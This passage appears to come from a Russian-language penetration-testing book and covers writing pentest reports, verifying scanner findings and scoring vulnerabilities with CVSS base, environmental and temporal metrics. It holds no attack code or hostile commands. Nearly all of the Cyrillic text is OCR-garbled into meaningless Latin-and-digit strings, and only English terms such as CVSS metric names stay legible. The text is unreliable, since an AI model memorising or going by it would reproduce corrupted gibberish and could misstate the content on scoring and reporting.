rpaduKy B BUJIE <ITMPOTa», Ha OJHOM M3 HUX BBl MOKET IIPEACTaBUTh CTATHCTUKY
THUIIOB HAilICHHBIX YSI3BUMOCTEH, a Ha [PYTOM — CTATUCTHKY, OTPAsKAIOIILYIO KPUTHY-
HOCTDb HalIeHHBIX ysi3BUMOcCTeN (puc. 5.16).

B pekoMeH/IaIumsIX o UCIpaBJIeHIIO HaliJIeHHBIX HEJIOCTATKOB HEOOXOMMO YKa3aTh
KJTIOUYEBBIE TIATH JJIst obectiedeHnst 6e30MacHOCTH TeCTUPYeMoii cuctembl. CKaskeMm,
GOJIBIIUM TLIIOCOM OYZIeT He TIPOCTO HAIUCATh, YTO HeOOXOAUMO OOHOBUTH UMEIO-
1eecst porpaMMHoe 0GecIiedeHre, a MPeIJIOKUTh IEHTPATU30BaHHOE PelleHre /115
KOHTPOJISL UCTIOTh3yEeMbIX Ha MPEeANpUsATHN WH(GOPMAIMOHHBIX PECYPCOB, KOTOPOE
OMOTJIO ObI H36€KaTh BOSHUKHOBEHUS MTOJI0OHON TPOOIEMbI B OYLYIIEM.

= SQL injection = Buffer overflow |‘

m XSS = Remote code execution

= Privelege escalation m High = Medium = Low

Puc. 5.16. Mpacunyeckoe npescTaBreHne CTaTUCTUKU HaWAEHHBIX YA3BUMOCTEN
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Emte pa3 oTMeuy, 9T0 OTYET 7T PYKOBOJACTBA MOJKeH OBITh KpaTKuii, 6e3 ykasza-
HYsI KOHKPETHOTO MTPOrPaMMHOTO 06ECTIEUeHNsT WM BAPUAHTOB PEAU3alliid — 9TO
YK€ OTHOCHUTCSI K TEXHUUECKOU dacTu. JlocTaTouHo OYy/IeT YIIOMSIHYTh O TOM, YTO
CJIe/IOBaHME ONPEeJIEHHBIM CTaHAAPTaM WJIHM TIPUMEHEHUE OIPe/IeJIeHHOTO KJacca
POrPAMMHOTO 0OECIIEYEHNUsT TOMOKET UCIIPABUTDH CUTYAIMIO U TPEIOTBPATUTD €e
MOBTOPHOE BOBHUKHOBECHHUE.

TexHMYeckun oTyeT

ITOT OTUET HAIleJIEH Ha CIEIUATIUCTOB B 00J1acT HH(DOPMAIIMOHHBIX TEXHOJIOTHII,
KOTOPBIM TIPUIETCS 3aHUMAThCS YCTPAHEHNEM YSI3BUMOCTEHN HA OCHOBAHUH PE3YJTh-
TaTOB Baleil paboThl. B 9TOM M0KTajIe BB JOKHBI KAk MOJKHO OOJIee eTaabHO
OIMCaTh Hall/leHHbIE YSI3BUMOCTHU, OIIEHUTb UX KPUTUUYHOCTD, BADUAHTDBI AKCILILY-
aTalyu, METOJAUKY TECTUPOBAHUS U HIATH JIJIs1 BOCIIPOU3BECHUS TTOJIYYEHHOTO
pesyJibTaTa.

OTueT MOKHO HA4YaTh € TOMOJOIHH CETH, B KOTOPOH OYAyT OTPaskeHbl OCHOBHbIE
9JIeMEHTBbI UHPPACTPYKTYPBbI 3aKa34MKa, CoJieprKalllie ollpe/leIeHHbIe YSI3BUMOCTH,
a TAKJKe Y3JIbI, KOTOPbIE MOTYT GBITH CKOMITPOMETUPOBAHBI ITPH aTake Ha KaKoH-1160
VSA3BUMBIH a7ieMeHT MH(GPACTPYKTYPBI.

3aTem CJIEAYET OINCATDb KayK/1YIO Haﬁ[[eHHYIO YA3BUMOCTD C YKa3aHUEM TOTO, KaK OHa
ObLIa HaﬁlleHa, KaKoit BEKTOP aTakKn OBLIT TIPUMEHECH [JIS €€ OKCILTyaTalluu, OBLIN JIN
HCIIOJIb30BaHbI KaKue-1160 WHCTPYMEHTBI 1 TPOBEPEHHBIC AKCILIONTHI.

B koHIie oT4eTa He0OXOAUMO IPUBECTH PEKOMEHIAIUH 110 YCTPAHEHIIO HalIeHHBIX
YSI3BUMOCTEH. YuTHTE, 4acTO OBIBAET TAK, YTO HAUJIECHHYIO YSI3BUMOCTh HEBO3MOKHO
YCTPaHUTh. Tak, B HEKOTOPBIX YUPEKIAEHNIX 3PABOOXPAHEHNS NCTOIb3YeTCs TeX-
HUKa, KOTOpas y>Ke He MO/IZIePKUBAETCS IIPOU3BOANTEIISIMH, COOTBETCTBEHHO, HEJTb35T
00HOBUTB IIPOrpaMMHOe ObecIiedeHne, HalpuMep, A MarHUTHO-PE30HAHCHOTO
tomorpada. CiiesioBaTesibHO, BbI JIOJIKHBI PEJJIOKUTD PeAJbHbIN BADUAHT TIPEIOT-
BpallleHUS BO3MOKHOCTU TTPOHUKHOBEHUS — OTKJIIOUEHNE y3JIa YIIPaBJICHUS ariapa-
TOM OT UHTEePHEeTa WJIH YCTAaHOBKA MEKCETeBOTO 9KPaHa /IS OTPAaHUYEHUS JOCTyTIA.

Llenb oTuyeTa

[Tpu cocraBieHnu oTdeTa HEOOXOIMMO TOYHO MPEICTABISTH, YeTO BBl XOTUTE 10~
6uTbes. Bam Hy»kHO T10Ka3aTh, 4TO BbI yMeete 3amyckarh Kali Linux u konuposaTh
pesyJibTaT paboThl NMApP U3 KOHCOJIN B ITPE3EHTAIMIO, WU JKe BbI XOTUTE MTPOIEMOH-
CTPUPOBATH PE3yJIbTAaT aHAIN3a MOJYyUYeHHbIX JIaHHbBIX, OIIEHKY PHCKOB, PEKOMeH /1a-
UK 110 WX uctpasieHnto? CoracuTech, OCaAeHee BhITJSAUT GoJiee podeccuo-
HAJILHO U IIpe3eHTabeIbHO.

K cosxkasnenuio, MHOTHE OTYETHI 63 BECKOI Ha TO IPUYUHBI TIePErpyKeHbl N30bI-
TOYHBIMU JIAHHBIMH, 3-32 9TOTO B HUX IIPOCTO TepsAeTcsa Ta nHGOpMAIs, KOTOPYIO
XoTeJ1 fonectu aBTop. [l nayaa pekoMenyeTcs co3iaTh IIal 0TYeTa, BLLACIUTD
OCHOBHBbIE TIYHKTHI U y3Ke TIOTOM J00ABJISTh HYKHYIO HH(MOPMAIIHIO.
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lNpoBepka pe3ynbTaTtoB

Kak ysxe roBOpusioch, BKJIIOUEHHBIHN B OTUET Pe3yJIbTaT, KOTOPbII HEJIb3s1 TIOBTOPUTD,
CUYMTAETCS IIPOBAJTIOM M MOKET CEPbe3HO MOANOPTUTD BalLy PeIryTallnio KakK CIeln-
asnucra. B camoM Hauasie paboThI aBTOP caM T1apy pas HacTyIIJI Ha a1 rpab. Bep
TaK 3aMaHYMBO — 3AIyCTUTh CKaHep ysi3BUMOcTel Nessus, HaIUTh cebe Jalieuky
Kode U, BEepHYBIIIUCH Yepe3 4ac, HA OCHOBAHWU €0 JJAHHBIX MOJITOTOBUTH OTYET.
Ho B gannom ciyvae n1pocToil yTh 4aCTO OKa3bIBAETCS HEBEPHBIM.

BesycaosHo, Nessus sIBJASETCA OTINYHBIM HHCTPYMEHTOM, KOTOPBIil HUKTO HE OT-
roBapMBaeT Bac MCHOJIb30BaTh, OIHAKO €CJIM Bbl YBEPEHBI, UTO HAIIIN YSI3BUMOCTb,
BaM HEOOXO/IMMO €€ TIPOBepUTh. Eciin Hawm Bo3aMokHOCTh SQ L-nHbekinu, 00si3a-
TEJILHO MIPOBEJIUTE €€ U BKIOUUTE 3TO B OTUYET. BbIBAaeT TakK, 4TO BbI €HCTBUTEIHHO
0GHAPYKUJIN Ha cepBEpe TPIIIOKEHNE, KOTOPOE YSI3BUMO K JIAHHOMY THITY aTak, HO
nepesl HUM ycrtaHoBsieH web application firewall, koTopsiit oTamuHo GusTpyeT Bee
BalIH MOIBITKY AKCILIyaTalluy HAWIEHHON YSI3BUMOCTH. DTO HE 03HAYAET, YTO MOKHO
3aKPBITh Ha HTO IJIa3a, BCe PABHO HEOOXOAUMO BKJIIOYUThH HANICHHYIO YS3BUMOCTh
B OTYET, OJIHAKO OI[EHKA PUCKOB MOYKET M3MEHUTHCSI.

Bosnuxkaer Borpoc: noyemy Tak BaxkKHO IIPOBEPSITH BCE MTOJyYEHHBIE Pe3YJIBTAThI, BEb
€CJIM eCTh YSI3BUMOCTB, TO €€ HeOOXOMMO CPOYHO UCIIPABUTh, YCTPAHUB PUCK B3JIOMA.
C 071HO¥ CTOPOHBI, ATO TaK, HO AbSBOJI, KaK W BCET/Ia, KPOeTcs B leTasisax. [lepBoe, 4T
MPUXOJINT HAa YM, — BbI HAIILIN GaHAJBHYIO JIOBYIIKY /I XakepoB. BriosiHe BeposATHO,
Ha JIAHHOM CEPBEpPE CIEIMATBHO OBIJIO YCTAHOBJIECHO YSI3BIMOE ITPOrpaMMHOE obecrie-
YeHIe ¢ 1eJIbio cOopa nHpopMaImu 06 aTaKyoInX U IPeJOTBPAIeHUS BTOP/KEHUSI.
Bropas npuunna — nenbru. Vcnpasienne ysSI3BUMOCTH, He TIPECTABJIISIONIEN 3Ha-
YUTETLHOI YTPO3BI, MOJKET TIOTPeOOBATh OOMBITNX (DUHAHCOBBIX U TPYAOBBIX 3aTPaT.
B TOoT MOMEHT, KOT/Ia BCe cuitbl GY/IyT OPOTIEHBI Ha UCITPABJICHUE YSI3BUMOCTH, KOTO-
PYI0 6ECKOHEUHO CIIOKHO MPOIKCILIYaTHPOBATh, 3JI0YMbIIICHHUKA MOTYT IPOHKK-
HYTh B CUCTEMY C TIOMOIIBIO IpyTuX Opetieii B GezomacHocTu. Cremytonias mpuanHa
nocTaTouHo GanaibHa — omubKa. [IpoBos TecThl GOMBIINX U CIIOKHBIX HH(DOpPMa-
IIMOHHBIX CUCTEM Ha TPOHUKHOBEHUE, Bbl CTOJIKHETECh C OTPOMHBIM KOJNYECTBOM
JTAHHBIX, B KOTOPBIX JIETKO TIOTEPSITHCS 1 KOTOPBIE JIeTKO oTepsiTh. Co3maBas oTder
U TIOBTOPHO MEPEITPOBEPSISE PE3YIBTATHI, BB yOEAUTECH B MPABUJILHOCTH BKJIIOUEHHON
B Hero nHbopMmainn. KoHeuHo, f1ajke TIPH TAKOM MOZIX0Ie OBIBAIOT ONMMTHOKH, HO TAKIM
006pa3oM BbI CBEJIETE BEPOSITHOCTH UX BO3HUKHOBEHUST K MUHIMYMY.

MeToA OLEHKU pUCKOB

[Ipenmomnoxxum, BbI HANIN YSI3BUMOCTh — KaK OIIEHUTh, HACKOJIBbKO OHA KPUTHY-
Ha? JTO BayKHO HE TOJIbKO JIJIsl COCTABJIEHUST OTYETa, HO U JIJIst IPUHSTUS PelleHnst
0 nayibHeHuX feiicTBusax. B nepByio oyepenb /7id Bac JIMYHO, Beb 3a4eM TPATUTD
BpeMs Ha 3aBe/[OMO HEKPUTHYHYIO YSI3BUMOCTb, KOTOPAsi He TOMOKET TPOHUKHYTh
B HCCJIElyEMYIO CHCTEMY, €CJIM Y BaC €CTh ellle HeCKOJIbKO OoJiee TepCrneKTHBHBIX
BapuaHToB? U KOHEUHO JKe, 9TO OUeHb BayKHO JIJISI BAIIMX KJIWEHTOB, MHAYE KAKUM
00pa3oM OHU Y3HAIOT O TOM, YTO HEOOXOAUMO UCIIPABJIATH B IIEPBYIO OYEPE/D, 4 UTO
MOJKeT HEMHOTO TIOJIOXKIATh? DTO HOPMAJIbHO, KOT/IA IPEANPUITHE UCTTPABJISET Hali-
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A€HHDBIE BaMU YA3BUMOCTH ITIOCTEIIEHHO, HE 3a O/INH /ICHb, B€/Ib OHO MOJKET OKa3aTbCA
OrpaHHUY€HO KaK B (1)I/IH3.HCOBOM IlaHe, TaK 1 B KOJIMYECTBE IEpCOHaJIA.

Ecim Bo1 HCIOJIb3yeTe aBTOMATUYECKYIO CUCTEMY ITOVICKA yHSBI/IMOCTeI;)I, TO OHa BbIJaeT
BaM y’Ke FOTOBYIO OLIEHKY PHCKa, HO 1 5Ta OLleHKa He Beerjia ObiBaeT TOUHOI. B cayuae
’Ke, KOTZIa BbI HAIIM YSI3BUMOCTb CAMOCTOSITEIBHO, KaKO YPOBEHD PUCKA BBI €il Ipu-
csoute? J/laBaiiTe pacCMOTPUM OJIHY M3 CAMBIX [OITYJIIPHBIX METOIMK OLIEHOK PUCKOB.

Common Vulnerability Scoring System (CVSS) — 310 crangapt, HCIOIb3yeMbIil
JUISl OLIEHKHU YSI3BUMOCTEN B KOMIIBIOTEPHBIX crcTeMax u npuioxkenusx. CVSS
MIPEAOCTABJISIET OOTIYI0 METOIMKY JJISI M3MEPEHUST Ba)KHOCTH YSI3BUMOCTH U €€ TI0-
TEHIIMATBHOTO BO3IEHCTBUSI HA CUCTEMY.

JlaHnblii METOJI OIIEHKH MCIIOJIb3Y€eTCs IS OIPeieIeH st YPOBHs KPUTUYHOCTH Y513~
BUMOCTH, KOTOPBIH Bbipaxkaercs urcyom ot 0 o 10, rae 0 — HamMeHbInii ypoBeHb,
a 10 — mamssictmii. OTleHKa YPOBHS Cepbe3HOCTH OCHOBBIBAETCST HA HECKOJBKIX
(haxTOpax, BKIOUAS BEPOSITHOCTD KCILIYATAI[MN YSI3BUMOCTH U TOTEHITMATbHBIH
yiep6, KOTOPBIT MOKET OBITH TIPIHYMHEH MTPU €€ IKCIITyaTalliH.

Cymtectyiot Tpu Bepcuu crangapra: CVSS v3.1, CVSS v3.0 u CVSS v2.0. B xkax ot
BEPCHU OTIPEIETIEHBI METPUKU OIEHKH YSI3BUMOCTH — (Ga30Bast METPHUKA, BEKTOPHBIE
METPUKN W TEMIIOPAThHBIE METPUKH, KOTOPHIE OMICHIBAIOT OCHOBHBIE XapaKTePH-
CTHKH ySI3BUMOCTH.

Ha MoMeHT moAroToBKM KHUTHU K TIedaTy Bbiia yeTBepTad Bepcusi CVSS. Bor
KpaTKuil 0030p ocHOBHBIX oTinymii or CVSS v3.

1. Meroposoruu oteHKr 60JIee TECHO COOTHOCSTCS ¢ PEATBHBIM PUCKOM, YUHUTHI-
BatoT GoJiee MMPOKHiT CIIEKTP (haKTOPOB, BKIIOUYAS BEPOSATHOCTD AKCILIyaTalluu
U TIOTEHIMAJIbHBIE TIOCTIE/ICTBUS YCIIEITHON aTaKuU.

2. Bouee yeTKoe paH;KUPOBAHNE PUCKOB; BBIIIE YPOBEHD OOBEKTUBHOCTH TIPU X
omnpeaenernu. Jlo6aBieHbl HOBblE METPUKHU, KOTOPbIE YUUTHIBAIOT AOOJTHUTE b
HbIE aCIIeKThI, TAKKE KaK IMOTEHIIUAIbHbIE TIOCJAEACTBUS YCIENTHOM aTaKu, OlleHKY
BO3/ICHICTBUA HAa aTaKyeMYIO CUCTEMY U CBA3aHHDIC C HEll CUCTEMBI.

3. UcnpaBienue HEKOTOPBIX HEJIOCTATKOB MTPEbIYIIei BEPCUW, PacITUPEHMe Tpa-
HUI[ KOHTEKCTA, B KOTOPOM CYIIECTBYET ySI3BUMOCTb.

4. B03MOXHOCTb MHTETPAIMH OIIEHOK KPUTUYHOCTH U BO3/I€HCTBUS, TIPEJOCTABIIEH-
HBIX Pa3pabOTYMKOM WM IOCTABIIMKOM OIPEAEIeHHOTo IpoayKra. Jlomyckaercs
co3JlaHKe MEeTPUK, pa3pabOTaHHbIX CAMUMU ITOCTABIIUKAMU.

Jlanublii cTaHAapT 4acTO UCIOJIb3YeTCs B UHCTPYMEHTAX /IS CKAaHUPOBAHUS YA3BH-
MOCTEl 1 OIEHKH He30acHOCTH, YTOOBI TOMOUb OIIEHUTh YPOBEHb PUCKA U TIPUHATH
MEPBI TI0 YMEHBIIEHWTO YI3BUMOCTH. OH TakKe TPUMEHSETCS PAa3JInIHBIMU OPTaHU-
3AIMSIMU JIJTST OTIPEIeSIEH ST YPOBHSI KPUTHYHOCTH YSI3BUMOCTHU U 7T Pa3pabOTKI
TOTUTUK GE30TTaCHOCTH.

OHeHKa BbIUMCJIAECTCA Ha OCHOBAHWUN PA3JIMYHBIX (baKTOpOB, KOTOpbIE€ pacCMaTpu-
BalOTCA HUXKE.
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Basossie MeTpukn B pamkax Common Vulnerability Scoring System — s10 niepBoHa-
YasibHbIE METPUKH, UCITOJIb3YEMbIE ISl OIIEHKHU YSI3BUMOCTH U OIPEeJIeHHsT YPOBHS
ee cepbesHocTr. OHU OTUCHIBAIOT XaPAKTEPUCTUKH YSI3BUMOCTH, OCTAIONINECS HeHn3-
MEHHBIMU BHE 3aBUCUMOCTH OT KOHKPETHON CUTYaIIUHY.

CyImecTByIOT TPHU TPYTIIH GA30BBIX METPUK.

1. Merpuku skcmwryaramuu (Exploitability Metrics) oTpaskaior xapakTepucTIKI
YS3BUMOTO KOMITOHEHTA, BKITIOYAIOT B ceOsT HECKOJIBKO MOKA3aTeel:

1)

2)

3)

4)

BekTop ataku (Attack Vector) ykasbiBaer Ha TO, rjie J10JKEH HaXOAUThCS aTa-
KYIOITUH /7T yCHENTHOM 9KCIITyaTaluy YI3BUMOCTH. JTa METPUKA MOKET TIPH-
HUMaTh 3HaueHust «Local> (YSI3BUMBIi KOMITOHEHT HE MeeT JI0CTYTa B CETh),
«Adjacent Network» (ataka Bo3aMOsKHa TOJIBKO TOT/IA, KOT/IA aTaKyOIMI Ha-
XOJIUTCSI B TOM K€ JIOTUYIECKOM UJH (pU3nuecKoM cermerTe cetn) u «Networks
(aTakyiomuii MOXeT [eliCTBOBATh YAAJEHHO, B TOM YUCJIe Yepe3 MHTEPHET);

canoxuocTh ataku (Attack Complexity) ykasbisaer, TpebyioTcs Jin sl BbI-
MOJIHEHMS ATaKy CHelMaJbHble 3HAHNS UM ClIelUaIbHble MHCTPYMEHTDL. JTa
MeTpHuKa MOKeT TIPUHNMATh 3HaueHmsT «Low» (aTaka JIerko BBITTOTHSIETC ),
«Medium» (araka TpeGyeT HEKOTOPBIX 3HAHUI UJIH JOTOJHUTEIbHBIX YCJIO-
Buil) u «High» (araka ciosxna u tpebyer orpeseleHHbIX 3HAHWUIA MJIU CIIeIN-
AJIbHBIX UHCTPYMEHTOB);

Hasnmuue npusuiernii (Privileges Required) onmceiBaet Heo6X0AUMOCTb Ha-
JINYUS CTIETTMAIILHBIX TPUBKJIETUI JIJIST YCIIETTHOTO TIPOBEIEHUST aTaku. MeTpu-
Ka IpUHUMaeT 3HaueHust «Nones (aTaka MOXKET BBIIOJHATHCS (€3 HATNIUsT
CIIeIUaNbHBIX NPUBUIETUil), «Low» (/IS MpoBefeHns aTakKi HeOOXOAUMbI
NpUBUJIErHU 00BIYHOIO MoJb3oBares), «High» (ans nposesenus ataku
HEOOXOMMBbI TTOBBIIIEHHBIE IPUBUJIETUH, BILIOTH 10 aJIMUHUCTPATOPCKUX);

B3anmojieiictere ¢ osbosatesieM (User Interaction) nmokasbiBaeT HeOOXOAH-
MOCTb B3aMMOJIEHCTBUS C TI0JIb30BATEJIEM JIJIsT TIPOBe/IeHNs aTaki. B kauecTBe
puMepa MOKHO TIPUBECTU (GUIITMHTOBBIE MTUCbMA: IS IOCTUKEHUS ycTiexa
HEZI0CTATOYHO TIPUCIIATh BPEIOHOCHYIO CCHIIKY TIO TOYTE, HEOOXOAMMO erlie
yOenTh MOJIb30BATEIS TIepeiiTh 110 Hell. MeTpuKa MpUHUMAeT 3HAUCHUS
«None» (B3aumojeiicTBuie ¢ ToJb3oBareeM He Tpebyercst) u «Required»
(aTaka TpeOyeT BBITOJHEHUSI OIPE/IEIEHHBIX AeHCTBUN BTOPOI CTOPOHOI).

2. Metpuku ypoBH Bo3aeiictBus (Impact) onuceBaoT HOTEHITNATBHBIEC TTOCIE]I-
CTBUS aTaKW Ha CHCTEMY B TOM CJy4Yae, eCid OHa Oy/eT BBIMOJHEHA YCIEIIHO,
1 BKJTIOYAIOT CIIEYIONTIE TTOKA3aTeIH:

D

koHpuaeHmansiocTs (Confidentiality) ormucsiBaeT ypoBeHb PacKpPBITHST KOH-
(byeHTIMATBHBIX TaHHBIX. BO3MOKHBI TPU YPOBHS PACKPBITHS TAaHHBIX: «Nones
(Yrpo3bl pacKpBITUST TAHHBIX HeT), «Lows (aTakyIlomuii moJrydust IOCTYII K Orpa-
HUUYEHHOMY KOJIMYeCTBY KOH(bUIEHIMANAbHbIX TaHHbIX), «High» (nmoxyuen
JIOCTYTI KO BCEM KOH(DUICHITNATBHBIM JJAHHBIM UJIU aTaKYIONTUH TTOJTyYnJI J10-
CTATOYHO KPUTUIHBIE TAHHBIE, HATIPAIMEP TIAPOJIb a/IMUTHUCTPATOPA, ITPU TIOMOIITH
KOTOPBIX OH MOKET OCYIIIECTBUTD IOCTYI K KOH(UAEHITUATbHON uH(pOopMaIum);
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2) nesocrHocts (Integrity) ykasbiBaeT Ha BO3MOXKHOCTb MAaHUITYJIAIUY JAHHBIMU
B 1[eJIEBOII cucTeMe I10CJIe YCIeHON aTaku. MeTpuKa IpUHUMAaeT 3HaUeHUs
«Nones» (aTakyronuii He MOKET U3MEHATH HUKaKue JaHuble), «Lows (aTaky-
IOIIUIT MOKET U3MEHUTD KaKKe-TO JaHHble, HO 9TO He IIPE/ICTaBJeT IPSIMOii
U 3HAYUTEJBHON yrpossl 1eeBoii cucreme) u «Highs (arakyrormii Mmosxer
U3MEHSITD JI0ObIe (hailIbl MM BHOCUTD B HEKOTOPBIE (DATIIBI N3MEHEHUST, KO-
TOpPbIE HECYT B cebe 3HAUUTEbHBIE PUCKHU JIJIST CHCTEMBI );

3) mocrymnocts (Availability) saciay:xuBaer Gosee mogpoOHOrO PacCMOTPEHMSL.
Korma Mbr roBOprM 06 MHGOPMAITHOHHBIX CHCTEMAX, TO SIBJISIETCS CaMOM CO-
GO Pa3yMETOTIIIMCST, YTO MX OCHOBHOM TIENTHIO SIBIISIETCST BBITIOJTHEHE OTIpee-
JIeHHBIX 32724, JIJist BBITTOJIHEHVST pAOOThI TPEOYIOTCST OIPE/Ie/IEHHbIE PECYPCHL:
aMsATh, apU(PMETUKO-JIOTHYECKOE YCTPOHCTBO, CUCTEMBI BBOJIA,/BBIBOJIA U T. JI.
Bo Bpemst ataku MOKeT BO3HUKHYTH OO B JTOOOM U3 9THX KOMIIOHEHTOB, YTO
MOBJICUET 32 COOOH TOHBII MJTK YACTUIHBIN cO0il B pabOTe CHCTEMBI 1 TIOBJIH-
sleT Ha ee JOCTYMHOCTh. ECJIM MTPOUCXOIUT MOJHBI 0TKAa3 B 0OCITYKUBAHUN
WJIN Y aTaKyIoIero MOgBSETCS BO3MOKHOCTD TIOJTHOCTBIO 3aKPBITH JIOCTYII
K pecypcy, MeTpuka npuHuMaet 3Hauenne «High», ecam araka Biusier B oc-
HOBHOM Ha GBICTPOICHCTBIE CUCTEMBI MJIM CHCTEMA CTAHOBUTCST HEAOCTYITHA
JIUTIH YacTUYHO — 3HadeHmne «Lows. Eciin ke aTaka HUKaK He CKa3bIBACTCS
Ha JIOCTYITHOCTH CUCTEMBI, METPUKA IPUHUMACT 3HadeHune «None».

3. O6aactp aeiictBus (Scope) yKasbIBaeT Ha TO, KaK YSI3BUMOCTh B KOHKPETHOM
KOMITOHEHTE CHCTEMBI BJIUSET HA APYTHe ee KOMIOHeHThl. Hampumep, ecm mo-
¢Jie YCTENTHO OKCTITyaTal[iy YSI3BIMOCTH B 6a3e TaHHDBIX CTIETNATUCT TTIOTyYaeT
JOCTYTI JIMIITh K XPAHSIIeNcst B 3T0# 6aze nHhopManuu, MeTprka OyeT HMETh
snauenne «Unchanged». Eciin ata jke ysI3BUMOCTD TI03BOJISIET TIOBBICUTH TIPH-
BUJIETHN B CUCTEME, YTO BBIXOAUT 32 001ACTh KOHTPOJISI H€30MaCHOCTH TaHHOTO
KOMITOHEHTa, 3HaueHne nsMenutest Ha «Changed».

Ornenka kax1o0ii 6a30Boit MeTpuky poussBoguTcst 1o mkazie or 0 1o 10, roe 0 — aro
HAMMEHBIITNH yPOBEHB cepbe3HocTH, a 10 — HauBbIcmii. VITOTOBBII yPOBEHD Cephe3-
HOCTH YSI3BIMOCTH BBIUKCIISIETCS] Ha OCHOBE COYETAHUS BCeX 0a30BbIX METPHUK C UCITOJIb-
30BaHMeEM crienuaibHoi popmyJibl. TIprcBoeHue sHaYeHNs BeeM GazoBbIM METPHKAM
SIBJISIETCST HEOOXOIUMBIM JIJISI PacueTa YPOBHS KPUTHYHOCTH, OCTABIIUECST JIBE TPYITIIHI
METPUK He SIBJISTIOTCST 00s13aTeIbHBIME 1 HCIIOJb3YIOTCS IS H0JIee TOYHOMN OIEHKH.

Mertpuku okpy:kenusi (Environmental Metrics) 8 CVSS — 910 gonoHuTeIbHbIE
METPUKH, UCTIOIB3YIONINECST I GoJiee TOUHOM OIEHKU YPOBHSI CePhe3HOCTH YsI3-
BUMOCTH. ITH METPUKHU SIBJISIOTCS MOAUGDUIIMPOBAHHBIM SKBUBATEHTOM 6a30BBIX
METPUK U OIHCHIBAIOT O0JIee KOHKPETHBIE XaPAKTEPUCTUKU YSI3BUMOCTH, KOTOPBIE
3aBUCSIT OT CJOKUBIIENCS cuTyanuu 1 ocobertocreit mocrpoetust IC B KOHKPETHOI
OpraHu3aIii. BeIessIioT 1Be rPyTIbl METPUK OKPY KEHUSI.

1. Tpebosanust k 6€30MACHOCTH OMUCHIBAIOT BAKHOCTH KOHKPETHBIX KOMITOHEHTOB
CUCTEMBI B KOHTEKCTE X MCIIOJIb30BAHUA KOHKPETHOH opranusaiiieil. YpoBeHb
KOH(DUAEHIIHATBHOCTH, 1iesocTHocTh 1 goctymHocTr (Confidentiality, Integrity,
Availability wiu cokpaiienro CIA) onucbiBaet, Kakoii 5 (heKT OKaKeT Ha CUCTEMY,
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MOJIb30BATEIEN WM KIVEHTOB HAPYIIIEHNE B OJTHOM WJTM HECKOJBKUX YKa3aHHBIX
acrieKTax. JTa MeTpUKa MOKET IIPUHUMATD 3HaueHust « Low» (HesHaunTebHbIl ach-
dexr), «Medium» (3uaunresbubii addexr), «High» (karacrpoduueckuii apdexr).

MoaudunmpoBatbie 6a30Bble METPUKH MTO3BOJIAIOT aHAJIUTHKAM IEPEOIPENEISTH
oTjiesibHbIe 6Aa30Bble METPUKU HA OCHOBE KOHKPETHBIX XaPaKTEPUCTUK CPEJIbl,
B kKoTOpOii paboraer IC. Hanpumep, B IC ecTb ys3BUMBII KOMIIOHEHT, KOTOPbIIA
MOZKET OBITh UCIIOJAb30BAH JIsI aTAKK TOJBKO B TOM CJIydae, eCJIM afMUHICTPATOD
He U3MEeHWJI 33/IaHHble 110 yMosdauuio HacTpoiiku. Onnako ecau UT-cnerranuctot
U3MEHIN KOH(DUTYPAIIMIO, 8 CaM KOMIIOHEHT paboTaeT ¢ OrpaHu4eHHBIME TIpa-
BaMU, TO B 9TOM CJIydae MOIU(MDUITMPOBAHHBIM METPUKAM KOH(MUICHITNATHHOCTH,
HEJIOCTHOCTH ¥ JIOCTYITHOCTH MOTYT OBbITh 3a/[aHbl O0JIee HIU3KHE 3HAUCHUSI.

TemmopabHble METPUKH — 3TO €Ille OAUH TUII METPUK, MCIOJIb3YeMbIX s OoJiee
TOYHOU OIEHKU YPOBHS CEPbE3HOCTU yI3BUMOCTU. OHU YUYUTHIBAIOT BPEMEHHbBIE
(hakTOpBI, CBI3aHHbIE C YSA3BUMOCTDIO, TAKME KaK HAJU4Ke rartdeil, nuhopManm
O HEH U T. II.

B CVSS cymecTByI10T Tpu TEMITIOpabHbIE METPUKH.

1.

Hocrynnocts akcinoiita (Exploit Code Maturity) omucbiBaer, HACKOJIbKO /10~
CTYITHBIM SIBJISIETCST 9KCTIIONT JIJIST YI3BUMOCTH. DTa METPUKA MOKET TPUHUMATD
sHauenus «Unprovens (akciioiiT HeussecteH), «Proof of Concept» (ecth sKc-
IUIONT, HO €ro IIPYMeHeHIe MOKeT IoTpeboBaTh CePbe3HbIX MOAMMUKALNI B 3a-
BUCUMOCTH OT cpeJibl IpuMerenns ), «Functional» (ectb aKCIIONT, 1 OH MOKeET
HPUMEHATBHCS [IPAKTHYECKH B J11000ii cucreme) u «Highs» (ecth akciwnoiit, Koro-
PBIif MOXKHO MCTIOJIb30BaTh B aBTOMAaTU3UPOBAHHBIX aTAKaXx ).

HoctymHocts ucrpasienst (Remediation Level) onmcbiBaet, HACKOJIBKO JIETKO WK
CJIOJKHO YCTAHOBHTB MATY, KOTOPBII YCTPAHSIET YSI3BUMOCTh. JTa METPUKA MOXKET
npunnmath 3Havenust «Official Fix» (odurmanbabiii maty goctynen), « Temporary
Fix» (mocryrmeH ohurmaibHbiii BpeMeHHbIil matd), « Workarounds (moctytiHo He-
oduInaIbHOE PelieHne, HAPUMED TTaTy, BBITYIEHHBIH TPYNTION SHTY3HACTOB)
u «Unavailable» (Ha gaHHBII MOMEHT HUKAKKMX PEHICHUI TPOOJIEMBI HET).

Yposenb yBenomiienust (Report Confidence) onucbiBaer, HACKOJIBKO SKCIIEPTHI
YBEPEHBI B TIPABUIBHOCTHU U TIOJHOTE HH(POPMAIHK 00 YSI3BUMOCTH. DTa METPUKA
MOKET MPUHUMATH 3HaueHus1 « Unknowns (ecTh KOCBEHHbBIE JaHHBIE 00 YS3BU-
MOCTH, HO JIETaJIi OCTAIOTCsT HeM3BEeCTHBIMM ), « Resonable» (coGpaHo mocTaTouHO
JQHHBIX /IS ITOATBEPsKACHUS HAJIMUUsl YS3BUMOCTH, HO HET TOYHOH nndopmanuu
o puurHax ee nosiBjetus ), «Confirmed» (MMerOTCs TOKA3ATENBCTBA HATTYST
VSI3BUMOCTH U YCTaHOBJIEHA ITPUYNHA ee Bo3HuKHOBeHusT) 1 «Not Defined» (ypo-
BEHD YBEJIOMJICHUS He OIpe/iesieH ).

Kaskmast TeMmopasbHast METPUKa MMEET CBOH HabOP 3HAUEHT T, KOTOPBIE MOTYT OBITh
Ha3Ha4yeHbl Ha OCHOBE BPEMEHHBIX XapaKTEPUCTUK YS3BUMOCTH.

[Tocse mopcueTa pe3yabTUPYIONIEH OIEHKH, OCHOBAaHHOU Ha BCEX UCIOTB3YEMbIX Me-
TPUKAX, OMPEETSIETCST YPOBEHb KPUTHIHOCTHU TO W/l WHOH ysi3BumocTH (Tabir. 5.1).
